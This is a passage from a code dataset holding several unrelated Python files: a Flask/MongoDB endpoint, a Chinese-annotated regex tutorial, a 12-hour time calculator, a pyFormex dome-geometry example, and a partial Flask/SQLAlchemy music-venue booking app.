{\"$count\": \"ubicacion\"}]\n\n cursor = collection.aggregate(pipeline)\n\n return cursor\n\n@app.route(\"/usuarios\", methods=['GET'])\ndef list():\n mongo_uri = \"mongodb://mongo-router:27017\"\n\n client = MongoClient(mongo_uri)\n db = client.tarea\n collection = db.usuarios\n\n pipeline = [{\"$match\":{\"genero\":\"female\", \"direccion_id\":{\"$gte\": 1000}}}, {\"$project\":{\"nombre\":1} }, {\"$sort\": {\"_id\":1}}]\n\n cursor = collection.aggregate(pipeline)\n\n return cursor\n\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", debug=True)\n","sub_path":"flask-mongo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"182874333","text":"\"\"\"\r\n\r\n 一般字符\r\n\r\n 字符 含 义\r\n\r\n . 匹配任意单个字符（不包括换行符\\n）\r\n \\ 转义字符（把有特殊含义的字符转换成字面意思）\r\n[...] 字符集。对应字符集中的任意字符\r\n\r\n\".\" 字符为匹配任意单个字符，例如，a.b可以的匹配结果为abd、aic、a&c等，但不包含换行符\r\n\"\\\" 字符为转义字符,可以把字符改变为原来的意思。例如\".\"字符，是匹配任意单个字符，但有时不需要这个功能，只想让它代表一个点，，这时\r\n 就可以使用\"\\.\"，就能匹配为\".\"了\r\n\"[...]\" 为字符集，相当于在中括号中任选一个。例如a[bcd],匹配的结果为ab、ac、ad。\r\n\r\n\r\n 预定义字符\r\n\r\n字符 含 义\r\n \\d 匹配一个数字字符。等价于[0-9]\r\n \\D 匹配一个非数字字符。等价于[^0-9]\r\n \\s 匹配任何空白字符，包括空格、制表符、换页符等。等价于[\\f\\n\\r\\t\\v]\r\n \\S 匹配任何非空白字符。等价于[^\\f\\n\\r\\t\\v]\r\n \\w 匹配包括下划线的任何单词字符。等价于[A-Za-z0-9_]\r\n \\W 匹配任何非单词字符。等价于[^A-Za-z0-9_]\r\n\r\n\r\n 数量词\r\n\r\n数量词 含 义\r\n * 匹配前一个字符0或无限次\r\n + 匹配前一个字符1或无限次\r\n ? 匹配前一个字符0或1次\r\n {m} 匹配前一个字符m次\r\n{m, n} 匹配前一个字符m至n次\r\n\r\n\"*\" 数量词匹配前一个字符0或无限次，例如，ab*c匹配ac、abc、abbc 和 abbbc 等。\r\n\"+\" \"+\" 与 \"*\" 很类似，只是至少匹配前一个字符一次。例如，ab+c匹配abc、abbc 和 abbbc 等。\r\n\"?\" 数量词匹配前一个字符0或1次。例如，ab?c匹配ac 和 abc。\r\n{m} 数量词匹配前一个字符m次。例如，ab{3}匹配abbbc。\r\n{m, n} 数量词匹配前一个字符m至n次。例如，ab{1,3}匹配abc、abbc、abbbc。\r\n\r\n\r\n 边界匹配\r\n\r\n边界匹配 含 义\r\n ^ 匹配字符串开头\r\n $ 匹配字符串结尾\r\n \\A 仅匹配字符串开头\r\n \\Z 仅匹配字符串结尾\r\n\r\n\"^\" 匹配字符串的开头，例如，^abc匹配abc开头的字符串\r\n\"$\" 匹配字符串的结尾，例如，abc$匹配abc结尾的字符串\r\n\"\\A\" 仅匹配字符串的开头，例如，\\Aabc\r\n\"\\Z\" 仅匹配字符串的结尾，例如，abc\\Z\r\n\r\n\"\"\"\r\n\r\nimport re\r\n\r\na = \"ssIssfddfgssLovessfdfdsfedsfssPythonss\"\r\n\r\ninfos = re.findall(\"ss(.*?)ss\", a)\r\n\r\nprint(infos)\r\n\r\n\"\"\"\r\n\r\nsearch() 匹配并提取第一个符合规律的内容，返回一个正则表达式对象\r\n\r\nre.match(pattern, string, flags=0)\r\n\r\npattern 为匹配的正则表达式\r\nstring 为要匹配的字符串\r\nflags 为标志符，用于控制正则表达式的匹配方式，如是否区分大小写，多行匹配等\r\n\r\n\"\"\"\r\na = \"one1two2three3\"\r\n\r\ninfos = re.match(\"\\d+\", a)\r\n\r\nprint(infos)\r\n\r\ninfos = re.search(\"\\d+\", a)\r\n\r\nprint(infos)\r\n\r\nprint(infos.group())\r\n\r\n\"\"\"\r\n\r\nsub() 用于替换字符串中的匹配项\r\n\r\nre.sub(pattern, repl, string, count=0, flags=0)\r\n\r\npattern 为匹配的正则表达式\r\nrepl 为替换的字符串\r\nstring 为要被查找替换的原始字符串\r\ncounts 为模式匹配后替换的最大次数，默认 0 表示替换所有的匹配\r\nflags 为标志符，用于控制正则表达式的匹配方式，如是否区分大小写，多行匹配等\r\n\r\n\"\"\"\r\n\r\nphone = \"123-1234-5678\"\r\n\r\nnew_phone = re.sub(\"\\D\", \"\", phone)\r\n\r\nprint(new_phone)\r\n\r\n\"\"\"\r\n\r\nfindall() 匹配所有符合规律的内容，并以列表的形式返回结果\r\n\r\n\"\"\"\r\n\r\na = \"one1two2three3\"\r\n\r\ninfos = re.findall(\"\\d+\", a)\r\n\r\nprint(infos)\r\n\r\n\"\"\"\r\n\r\n re模块修饰符\r\n \r\n修饰符 描 述\r\nre.I 使匹配对大小写不敏感\r\nre.L 做本地化识别(locale-aware)匹配\r\nre.M 多行匹配，影响 ^ 和 $\r\nre.S 使匹配包括换行在内的所有字符\r\nre.U 根据Unicode字符集解析字符。这个标志影响\\w \\W \\b \\B\r\nre.X 该标志通过给予更灵活的格式，以便将正则表达式写的更易理解\r\n\r\n\"\"\"\r\n\r\na = '
    指数
    '\r\n\r\nword = re.findall('
    (.*?)
    ', a)\r\n\r\nprint(word)\r\n\r\na = '''
    指数\r\n
    '''\r\n\r\nword = re.findall('
    (.*?)
    ', a, re.S)\r\n\r\nprint(word)\r\n\r\nprint(word[0].strip()) # 使用strip() 方法去除换行\r\n","sub_path":"zz_正则表达式.py","file_name":"zz_正则表达式.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"152398347","text":"def add_time(start, duration, startingDay = None):\n\n splitList = start.split(':') # Aux list to store start time in tuple, time separated by hours and minutes + period\n\n startInfo = (splitList[0], splitList[1].split()[0], splitList[1].split()[1]) # Tuple with (hours,minutes,period)\n # print(startInfo)\n addInfo = tuple(duration.split(':')) # Tuple with (hours, minutes) to add to the start time\n\n\n # Stores ints corresponding to starting time, accounts for both periods of the day\n if 'AM' in startInfo:\n if int(startInfo[0]) == 12:\n startHours = 0 # 12 AM corresponds to 0 total starting hours\n startMinutes = int(startInfo[1])\n else:\n startHours = int(startInfo[0])\n startMinutes = int(startInfo[1])\n elif 'PM' in startInfo:\n if int(startInfo[0]) == 12:\n startHours = 12 # 12 PM corresponds to 12 total starting hours\n startMinutes = int(startInfo[1])\n else:\n startHours = int(startInfo[0]) + 12 # Sum 12 to the total to account for the past first half of the day\n startMinutes = int(startInfo[1])\n # print(startHours,startMinutes)\n\n # Stores ints for total hours and total minutes separately for later addition\n addHours = int(addInfo[0])\n addMinutes = int(addInfo[1])\n\n # print(addHours,addMinutes)\n\n # Calculate total hours and total minutes separately, without converting extra minutes yet\n\n totalHours = startHours + addHours\n totalMinutes = startMinutes + addMinutes\n\n #print(totalHours,totalMinutes)\n\n # Calculate remainder telling us the final minutes to be displayed after conversion of minutes over 59 to hours\n finalMinutes = totalMinutes % 60\n\n # Pad final minutes to be displayed with a 0 for when they're less than 10\n finalMinutesStr = str(finalMinutes).zfill(2)\n\n # Calculate no. of hours to add from minutes over 59, add to total hours\n finalTotalHours = totalMinutes // 60\n finalTotalHours += totalHours\n\n #print(finalTotalHours,finalMinutes)\n\n # Calculate no. of days past after duration is added to the starting hour\n finalHours24 = finalTotalHours % 24\n\n extraDays = finalTotalHours // 24\n #print(extraDays)\n #print(finalHours24,extraDays)\n\n # Convert hours to 12 hour format\n if finalHours24 < 12:\n if finalHours24 == 0:\n finalHours12 = '12' #\n else:\n finalHours12 = str(finalHours24)\n dayHalf = 'AM'\n else:\n if finalHours24 == 12:\n finalHours12 = '12'\n else:\n finalHours12 = str(finalHours24 - 12)\n dayHalf = 'PM'\n\n # Check if day is the same, prepare part of final string, empty if the day is the same.\n if extraDays == 0:\n printExtraDays = ''\n elif extraDays == 1:\n printExtraDays = ' (next day)'\n else:\n printExtraDays = f' ({extraDays} days later)'\n\n\n # Tuple containing str with resulting day of the week in case starting day was provided, and an empty string otherwise\n weekDays = (', Monday',', Tuesday',', Wednesday',', Thursday',', Friday',', Saturday',', Sunday','')\n\n dayIndex = 7 # Case where starting day was not provided\n\n # Calculates index by using remainder of division by 7 to know the day of the week. Necessary in case duration is longer than a week.\n # 0 is Monday, 1 is Tuesday until 6 - Sunday\n # Final index goes from 0-6\n if startingDay is not None:\n if startingDay.lower() == 'monday':\n dayIndex = ((0 + extraDays) % 7)\n elif startingDay.lower() == 'tuesday':\n dayIndex = ((1 + extraDays) % 7)\n elif startingDay.lower() == 'wednesday':\n dayIndex = ((2 + extraDays) % 7)\n elif startingDay.lower() == 'thursday':\n dayIndex = ((3 + extraDays) % 7)\n elif startingDay.lower() == 'friday':\n dayIndex = ((4 + extraDays) % 7)\n elif startingDay.lower() == 'saturday':\n dayIndex = ((5 + extraDays) % 7)\n elif startingDay.lower() == 'sunday':\n dayIndex = ((6 + extraDays) % 7)\n # print(dayIndex)\n weekDay = weekDays[dayIndex] # Assigns correct week day of result or nothing if starting day was not provided\n\n # Format final string to be returned\n new_time = f'{finalHours12}:{finalMinutesStr} {dayHalf}' + weekDay + printExtraDays\n\n return new_time\n\n\n # return new_time\n","sub_path":"time_calculator.py","file_name":"time_calculator.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"450551404","text":"#!/usr/bin/env pyformex --gui\n# $Id$\n##\n## This file is part of pyFormex 0.7.2 Release Tue Sep 23 16:18:43 2008\n## pyFormex is a Python implementation of Formex algebra\n## Website: http://pyformex.berlios.de/\n## Copyright (C) Benedict Verhegghe (benedict.verhegghe@ugent.be) \n##\n## This program is distributed under the GNU General Public License\n## version 2 or later (see file COPYING for details)\n##\n\"\"\"Lamella Dome\n\nlevel = 'beginner'\ntopics = ['geometry','domes']\ntechniques = ['colors']\n\n\"\"\"\n\nclear()\nnx=12 # number of modules in circumferential direction\nny=8 # number of modules in meridional direction\nrd=100 # radius of the sphere cap\nt=50 # slope of the dome at its base (= half angle of the sphere cap)\na=2 # size of the top opening\nrings=False # set to True to include horizontal rings\ne1 = Formex([[[0,0],[1,1]]],1).rosette(4,90).translate([1,1,0]) # diagonals\ne2 = Formex([[[0,0],[2,0]]],0) # border\nf1 = e1.replic2(nx,ny,2,2)\nif rings:\n f2 = e2.replic2(nx,ny+1,2,2)\nelse:\n f2 = e2.replic2(nx,2,2,2*ny)\ng = (f1+f2).translate([0,a,1]).spherical(scale=[180/nx,t/(2*ny+a),rd],colat=True)\ndraw(e1+e2)\n\ndraw(f1+f2)\n\nclear()\ndraw(g)\n","sub_path":"tags/release-0.7.2/pyformex/examples/Lamella.py","file_name":"Lamella.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"230874794","text":"#----------------------------------------------------------------------------#\n# Imports\n#----------------------------------------------------------------------------#\n\nimport json\nimport dateutil.parser\nimport babel\nfrom flask import Flask, render_template, request, Response, flash, redirect, url_for\nfrom flask_moment import Moment\nfrom flask_sqlalchemy import SQLAlchemy\nimport logging\nfrom logging import Formatter, FileHandler\nfrom flask_wtf import Form\nfrom forms import *\nfrom flask_migrate import Migrate\nfrom datetime import datetime\nfrom sqlalchemy.sql import func\nimport sys\n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://alanzhihaolu@localhost:5432/fyyurapp'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.debug = True\nmoment = Moment(app)\napp.config.from_object('config')\ndb = SQLAlchemy(app)\n\n# TODO: connect to a local postgresql database\n\nmigrate = Migrate(app, db)\n\n#----------------------------------------------------------------------------#\n# Models.\n#----------------------------------------------------------------------------#\n\nclass Venue(db.Model):\n __tablename__ = 'venue'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String)\n city = db.Column(db.String(120))\n state = db.Column(db.String(120))\n address = db.Column(db.String(120))\n phone = db.Column(db.String(120))\n genres = db.Column(db.ARRAY(db.String))\n image_link = db.Column(db.String(500))\n facebook_link = db.Column(db.String(120))\n seeking_talent = db.Column(db.Boolean)\n seeking_description = db.Column(db.String(200), nullable=True)\n website = db.Column(db.String(120))\n shows = db.relationship('Show', backref='venue', lazy=True)\n def get_venue(self):\n return {\n \"id\": self.id,\n 'name': self.name,\n 'num_upcoming_shows': Show.query.filter(Show.start_time > datetime.now()).filter(Show.venue_id==self.id).count()\n }\n # children = db.relationship(\"Show\", back_populates=\"parent\")\n\n # TODO: implement any missing fields, as a database migration using Flask-Migrate\n\nclass Artist(db.Model):\n __tablename__ = 'artist'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String)\n city = db.Column(db.String(120))\n state = db.Column(db.String(120))\n phone = db.Column(db.String(120))\n genres = db.Column(db.ARRAY(db.String))\n image_link = db.Column(db.String(500))\n facebook_link = db.Column(db.String(120))\n seeking_venue = db.Column(db.Boolean)\n seeking_description = db.Column(db.String(200), nullable=True)\n website = db.Column(db.String(120))\n shows = db.relationship('Show', backref='artist', lazy=True)\n # parents = db.relationship(\"Show\", back_populates=\"child\")\n \n # TODO: implement any missing fields, as a database migration using Flask-Migrate\n\n# TODO Implement Show and Artist models, and complete all model relationships and properties, as a database migration.\n\nclass Show(db.Model):\n __tablename__ = \"show\"\n id = db.Column(db.Integer, primary_key=True)\n start_time = db.Column(db.DateTime)\n artist_id = db.Column(db.Integer(), db.ForeignKey('artist.id'), nullable=False) \n venue_id = db.Column(db.Integer(), db.ForeignKey('venue.id'), nullable=False)\n def get_artistInfo(self):\n artistInfo = Artist.query.filter_by(id=self.artist_id).first()\n artist_name = artistInfo.name\n artist_image_link = artistInfo.image_link\n return {\n 'artist_id': self.artist_id,\n 'artist_name': artist_name,\n 'artist_image_link': artist_image_link,\n 'start_time' : self.start_time\n }\n def get_venueInfo(self):\n venueInfo = Venue.query.filter_by(id=self.venue_id).first()\n venue_name = venueInfo.name\n venue_image_link = venueInfo.image_link\n return {\n 'venue_id': self.venue_id,\n 'venue_name': venue_name,\n 'venue_image_link': venue_image_link,\n 'start_time' : self.start_time\n }\n # child = db.relationship(\"Artist\", back_populates=\"parents\")\n # parent = db.relationship(\"Venue\", back_populates=\"children\")\n\n#----------------------------------------------------------------------------#\n# Filters.\n#----------------------------------------------------------------------------#\n\ndef format_datetime(value, format='medium'):\n date = dateutil.parser.parse(value)\n if format == 'full':\n format=\"EEEE MMMM, d, y 'at' h:mma\"\n elif format == 'medium':\n format=\"EE MM, dd, y h:mma\"\n return babel.dates.format_datetime(date, format)\n\napp.jinja_env.filters['datetime'] = format_datetime\n\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n\n@app.route('/')\ndef index():\n return render_template('pages/home.html')\n\n\n# Venues\n# ----------------------------------------------------------------\n\n# @app.route('/venues')\n# def venues():\n# data = Venue.query.order_by(Venue.id).all()\n# for i in data:\n# currentID = i.id\n# upcoming_shows = Show.query.filter(Show.start_time > datetime.now()).filter(Show.venue_id==currentID).count()\n# i.num_upcoming_shows = upcoming_shows\n# return render_template('pages/venues.html', areas=data)\n\n@app.route('/venues')\ndef venues():\n areas = Venue.query.distinct('city','state').all()\n data = []\n for area in areas:\n venues = Venue.query.filter(Venue.city == area.city, Venue.state == area.state).all()\n record = {\n 'city': area.city,\n 'state': area.state,\n 'venues': [venue.get_venue() for venue in venues],\n }\n data.append(record)\n return render_template('pages/venues.html', areas=data)\n\n\n# @app.route('/venues')\n# def venues():\n# # TODO: replace with real venues data.\n# # num_shows should be aggregated based on number of upcoming shows per venue.\n# data=[{\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"venues\": [{\n# \"id\": 1,\n# \"name\": \"The Musical Hop\",\n# \"num_upcoming_shows\": 0,\n# }, {\n# \"id\": 3,\n# \"name\": \"Park Square Live Music & Coffee\",\n# \"num_upcoming_shows\": 1,\n# }]\n# }, {\n# \"city\": \"New York\",\n# \"state\": \"NY\",\n# \"venues\": [{\n# \"id\": 2,\n# \"name\": \"The Dueling Pianos Bar\",\n# \"num_upcoming_shows\": 0,\n# }]\n# }]\n# return render_template('pages/venues.html', areas=data)\n\n@app.route('/venues/search', methods=['POST'])\ndef search_venues():\n search_term=request.form.get('search_term', '')\n response = {\n 'data': Venue.query.filter(Venue.name.ilike(f'%{search_term}%')).all()\n }\n response['count'] = len(response['data'])\n return render_template('pages/search_venues.html', results=response, search_term=request.form.get('search_term', ''))\n\n# @app.route('/venues/search', methods=['POST'])\n# def search_venues():\n# # TODO: implement search on artists with partial string search. Ensure it is case-insensitive.\n# # seach for Hop should return \"The Musical Hop\".\n# # search for \"Music\" should return \"The Musical Hop\" and \"Park Square Live Music & Coffee\"\n# response={\n# \"count\": 1,\n# \"data\": [{\n# \"id\": 2,\n# \"name\": \"The Dueling Pianos Bar\",\n# \"num_upcoming_shows\": 0,\n# }]\n# }\n# return render_template('pages/search_venues.html', results=response, search_term=request.form.get('search_term', ''))\n\n@app.route('/venues/')\ndef show_venue(venue_id):\n venueData = Venue.query.filter_by(id = venue_id).all()\n venueData = venueData[0]\n data = {\n \"id\": venueData.id,\n \"name\": venueData.name,\n \"city\": venueData.city,\n \"state\": venueData.state,\n \"address\": venueData.address,\n \"phone\": venueData.phone,\n \"genres\": venueData.genres,\n \"image_link\": venueData.image_link,\n \"facebook_link\": venueData.facebook_link,\n \"seeking_talent\": venueData.seeking_talent,\n \"seeking_description\": venueData.seeking_description,\n \"website\": venueData.website\n }\n past_shows = Show.query.filter(Show.start_time < datetime.now()).filter(Show.venue_id==venue_id).all()\n data['past_shows'] = [show.get_artistInfo() for show in past_shows]\n upcoming_shows = Show.query.filter(Show.start_time > datetime.now()).filter(Show.venue_id==venue_id).all()\n data['upcoming_shows'] = [show.get_artistInfo() for show in upcoming_shows]\n data['past_shows_count'] = len(past_shows)\n data['upcoming_shows_count'] = len(upcoming_shows)\n return render_template('pages/show_venue.html', venue=data)\n\n# @app.route('/venues/')\n# def show_venue(venue_id):\n# # shows the venue page with the given venue_id\n# # TODO: replace with real venue data from the venues table, using venue_id\n# data1={\n# \"id\": 1,\n# \"name\": \"The Musical Hop\",\n# \"genres\": [\"Jazz\", \"Reggae\", \"Swing\", \"Classical\", \"Folk\"],\n# \"address\": \"1015 Folsom Street\",\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"phone\": \"123-123-1234\",\n# \"website\": \"https://www.themusicalhop.com\",\n# \"facebook_link\": \"https://www.facebook.com/TheMusicalHop\",\n# \"seeking_talent\": True,\n# \"seeking_description\": \"We are on the lookout for a local artist to play every two weeks. Please call us.\",\n# \"image_link\": \"https://images.unsplash.com/photo-1543900694-133f37abaaa5?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=400&q=60\",\n# \"past_shows\": [{\n# \"artist_id\": 4,\n# \"artist_name\": \"Guns N Petals\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1549213783-8284d0336c4f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=300&q=80\",\n# \"start_time\": \"2019-05-21T21:30:00.000Z\"\n# }],\n# \"upcoming_shows\": [],\n# \"past_shows_count\": 1,\n# \"upcoming_shows_count\": 0,\n# }\n# data2={\n# \"id\": 2,\n# \"name\": \"The Dueling Pianos Bar\",\n# \"genres\": [\"Classical\", \"R&B\", \"Hip-Hop\"],\n# \"address\": \"335 Delancey Street\",\n# \"city\": \"New York\",\n# \"state\": \"NY\",\n# \"phone\": \"914-003-1132\",\n# \"website\": \"https://www.theduelingpianos.com\",\n# \"facebook_link\": \"https://www.facebook.com/theduelingpianos\",\n# \"seeking_talent\": False,\n# \"image_link\": \"https://images.unsplash.com/photo-1497032205916-ac775f0649ae?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=750&q=80\",\n# \"past_shows\": [],\n# \"upcoming_shows\": [],\n# \"past_shows_count\": 0,\n# \"upcoming_shows_count\": 0,\n# }\n# data3={\n# \"id\": 3,\n# \"name\": \"Park Square Live Music & Coffee\",\n# \"genres\": [\"Rock n Roll\", \"Jazz\", \"Classical\", \"Folk\"],\n# \"address\": \"34 Whiskey Moore Ave\",\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"phone\": \"415-000-1234\",\n# \"website\": \"https://www.parksquarelivemusicandcoffee.com\",\n# \"facebook_link\": \"https://www.facebook.com/ParkSquareLiveMusicAndCoffee\",\n# \"seeking_talent\": False,\n# \"image_link\": \"https://images.unsplash.com/photo-1485686531765-ba63b07845a7?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=747&q=80\",\n# \"past_shows\": [{\n# \"artist_id\": 5,\n# \"artist_name\": \"Matt Quevedo\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1495223153807-b916f75de8c5?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=334&q=80\",\n# \"start_time\": \"2019-06-15T23:00:00.000Z\"\n# }],\n# \"upcoming_shows\": [{\n# \"artist_id\": 6,\n# \"artist_name\": \"The Wild Sax Band\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"start_time\": \"2035-04-01T20:00:00.000Z\"\n# }, {\n# \"artist_id\": 6,\n# \"artist_name\": \"The Wild Sax Band\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"start_time\": \"2035-04-08T20:00:00.000Z\"\n# }, {\n# \"artist_id\": 6,\n# \"artist_name\": \"The Wild Sax Band\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"start_time\": \"2035-04-15T20:00:00.000Z\"\n# }],\n# \"past_shows_count\": 1,\n# \"upcoming_shows_count\": 1,\n# }\n# data = list(filter(lambda d: d['id'] == venue_id, [data1, data2, data3]))[0]\n# return render_template('pages/show_venue.html', venue=data)\n\n# Create Venue\n# ----------------------------------------------------------------\n\n@app.route('/venues/create', methods=['GET'])\ndef create_venue_form():\n form = VenueForm(request.form)\n return render_template('forms/new_venue.html', form=form)\n\n# @app.route('/venues/create', methods=['POST'])\n# def create_venue_submission():\n# form = VenueForm(request.form, meta={'csrf': False})\n# name=form.name.data,\n# city=form.city.data,\n# state=form.state.data,\n# address=form.address.data,\n# phone=form.phone.data,\n# facebook_link=form.facebook_link.data,\n# image_link=form.image_link.data,\n# website=form.website.data,\n# seeking_talent=form.seeking_talent.data,\n# seeking_description=form.seeking_description.data\n# if form.validate():\n# try:\n# venue = Venue(\n# name=name,\n# city=city,\n# state=state,\n# address=address,\n# phone=phone,\n# genres=request.form.getlist('genres'),\n# facebook_link=facebook_link,\n# image_link=image_link,\n# website=website,\n# seeking_talent=seeking_talent,\n# seeking_description=seeking_description\n# )\n# db.session.add(venue)\n# db.session.commit()\n# flash('Venue ' + form.name.data + ' was successfully listed!')\n# except ValueError as e:\n# print(e)\n# db.session.rollback()\n# flash('An error occurred. Venue ' + form.name.data + ' could not be listed.')\n# finally:\n# db.session.close()\n# else:\n# message = []\n# for field, errors in form.errors.items():\n# message.append(field + ': (' + '|'.join(errors) + ')')\n# return render_template('pages/home.html')\n\n@app.route('/venues/create', methods=['POST'])\ndef create_venue_submission():\n error = False\n data = request.form\n vname = data['name']\n vcity = data['city']\n vstate = data['state']\n vaddress = data['address']\n vphone = data['phone']\n vgenres = request.form.getlist('genres')\n vfb_link = data['facebook_link']\n vimage_link = data['image_link']\n vwebsite = data['website']\n if data['seeking_talent'] == 'True':\n vseeking_talent = True\n else:\n vseeking_talent = False\n vseeking_description = data['seeking_description']\n try:\n db.session.add(Venue(\n city=vcity,\n state=vstate,\n name=vname,\n address=vaddress,\n phone=vphone,\n facebook_link=vfb_link,\n genres=vgenres,\n seeking_talent=vseeking_talent,\n seeking_description=vseeking_description,\n website=vwebsite,\n image_link=vimage_link\n ))\n except:\n error = True\n finally:\n if not error:\n db.session.commit()\n flash('Venue ' + request.form['name'] +\n ' was successfully listed!')\n else:\n flash('An error occurred. Venue ' +\n vname + ' could not be listed.')\n db.session.rollback()\n return render_template('pages/home.html')\n\n# @app.route('/venues/create', methods=['POST'])\n# def create_venue_submission():\n# # TODO: insert form data as a new Venue record in the db, instead\n# # TODO: modify data to be the data object returned from db insertion\n\n# # on successful db insert, flash success\n# flash('Venue ' + request.form['name'] + ' was successfully listed!')\n# # TODO: on unsuccessful db insert, flash an error instead.\n# # e.g., flash('An error occurred. Venue ' + data.name + ' could not be listed.')\n# # see: http://flask.pocoo.org/docs/1.0/patterns/flashing/\n# return render_template('pages/home.html')\n\n@app.route('/venues/', methods=['DELETE'])\ndef delete_venue(venue_id):\n try:\n Show.query.filter_by(venue_id = venue_id).delete()\n Venue.query.filter_by(id = venue_id).delete()\n db.session.commit()\n except:\n db.session.rollback()\n finally:\n db.session.close()\n return None\n\n# @app.route('/venues/', methods=['DELETE'])\n# def delete_venue(venue_id):\n# # TODO: Complete this endpoint for taking a venue_id, and using\n# # SQLAlchemy ORM to delete a record. Handle cases where the session commit could fail.\n\n# # BONUS CHALLENGE: Implement a button to delete a Venue on a Venue Page, have it so that\n# # clicking that button delete it from the db then redirect the user to the homepage\n# return None\n\n# Artists\n# ----------------------------------------------------------------\n# @app.route('/artists')\n# def artists():\n# # TODO: replace with real data returned from querying the database\n# data=[{\n# \"id\": 4,\n# \"name\": \"Guns N Petals\",\n# }, {\n# \"id\": 5,\n# \"name\": \"Matt Quevedo\",\n# }, {\n# \"id\": 6,\n# \"name\": \"The Wild Sax Band\",\n# }]\n# return render_template('pages/artists.html', artists=data)\n\n@app.route('/artists')\ndef artists():\n artistInfo = Artist.query.order_by(Artist.id).all()\n data = []\n for artist in artistInfo:\n record = {\n 'id': artist.id,\n 'name': artist.name\n }\n data.append(record)\n return render_template('pages/artists.html', artists=data)\n\n\n# @app.route('/artists')\n# def artists():\n# data = Artist.query.order_by(Artist.id).all()\n# for i in data:\n# currentID = i.id\n# upcoming_shows = Show.query.filter(Show.start_time > datetime.now()).filter(Show.artist_id==currentID).count()\n# i.num_upcoming_shows = upcoming_shows\n# return render_template('pages/artists.html', artists=data)\n\n@app.route('/artists/search', methods=['POST'])\ndef search_artists():\n search_term=request.form.get('search_term', '')\n response = {\n 'data': Artist.query.filter(Artist.name.ilike(f'%{search_term}%')).all()\n }\n response['count'] = len(response['data'])\n return render_template('pages/search_artists.html', results=response, search_term=request.form.get('search_term', ''))\n\n# @app.route('/artists/search', methods=['POST'])\n# def search_artists():\n# # TODO: implement search on artists with partial string search. Ensure it is case-insensitive.\n# # seach for \"A\" should return \"Guns N Petals\", \"Matt Quevado\", and \"The Wild Sax Band\".\n# # search for \"band\" should return \"The Wild Sax Band\".\n# response={\n# \"count\": 1,\n# \"data\": [{\n# \"id\": 4,\n# \"name\": \"Guns N Petals\",\n# \"num_upcoming_shows\": 0,\n# }]\n# }\n# return render_template('pages/search_artists.html', results=response, search_term=request.form.get('search_term', ''))\n\n@app.route('/artists/')\ndef show_artist(artist_id):\n artistData = Artist.query.filter_by(id = artist_id).all()\n artistData = artistData[0]\n data = {\n 'id': artistData.id,\n 'name': artistData.name,\n 'genres': ''.join(list(filter(lambda x : x!= '{' and x!='}', artistData.genres ))).split(','),\n 'city': artistData.city,\n 'state': artistData.state,\n 'phone': artistData.phone,\n 'website': artistData.website,\n 'facebook_link': artistData.facebook_link,\n 'seeking_venue': artistData.seeking_venue,\n 'seeking_description': artistData.seeking_description,\n 'image_link': artistData.image_link\n }\n past_shows = Show.query.filter(pShow.start_time < datetime.now()).filter(Show.artist_id==artist_id).all()\n data['past_shows'] = [show.get_venueInfo() for show in past_shows]\n upcoming_shows = Show.query.filter(Show.start_time > datetime.now()).filter(Show.artist_id==artist_id).all()\n data['upcoming_shows'] = [show.get_venueInfo() for show in upcoming_shows]\n data['past_shows_count'] = len(data['past_shows'])\n data['upcoming_shows_count'] = len(data['upcoming_shows'])\n return render_template('pages/show_artist.html', artist=data)\n\n# @app.route('/artists/')\n# def show_artist(artist_id):\n# # shows the venue page with the given venue_id\n# # TODO: replace with real venue data from the venues table, using venue_id\n# data1={\n# \"id\": 4,\n# \"name\": \"Guns N Petals\",\n# \"genres\": [\"Rock n Roll\"],\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"phone\": \"326-123-5000\",\n# \"website\": \"https://www.gunsnpetalsband.com\",\n# \"facebook_link\": \"https://www.facebook.com/GunsNPetals\",\n# \"seeking_venue\": True,\n# \"seeking_description\": \"Looking for shows to perform at in the San Francisco Bay Area!\",\n# \"image_link\": \"https://images.unsplash.com/photo-1549213783-8284d0336c4f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=300&q=80\",\n# \"past_shows\": [{\n# \"venue_id\": 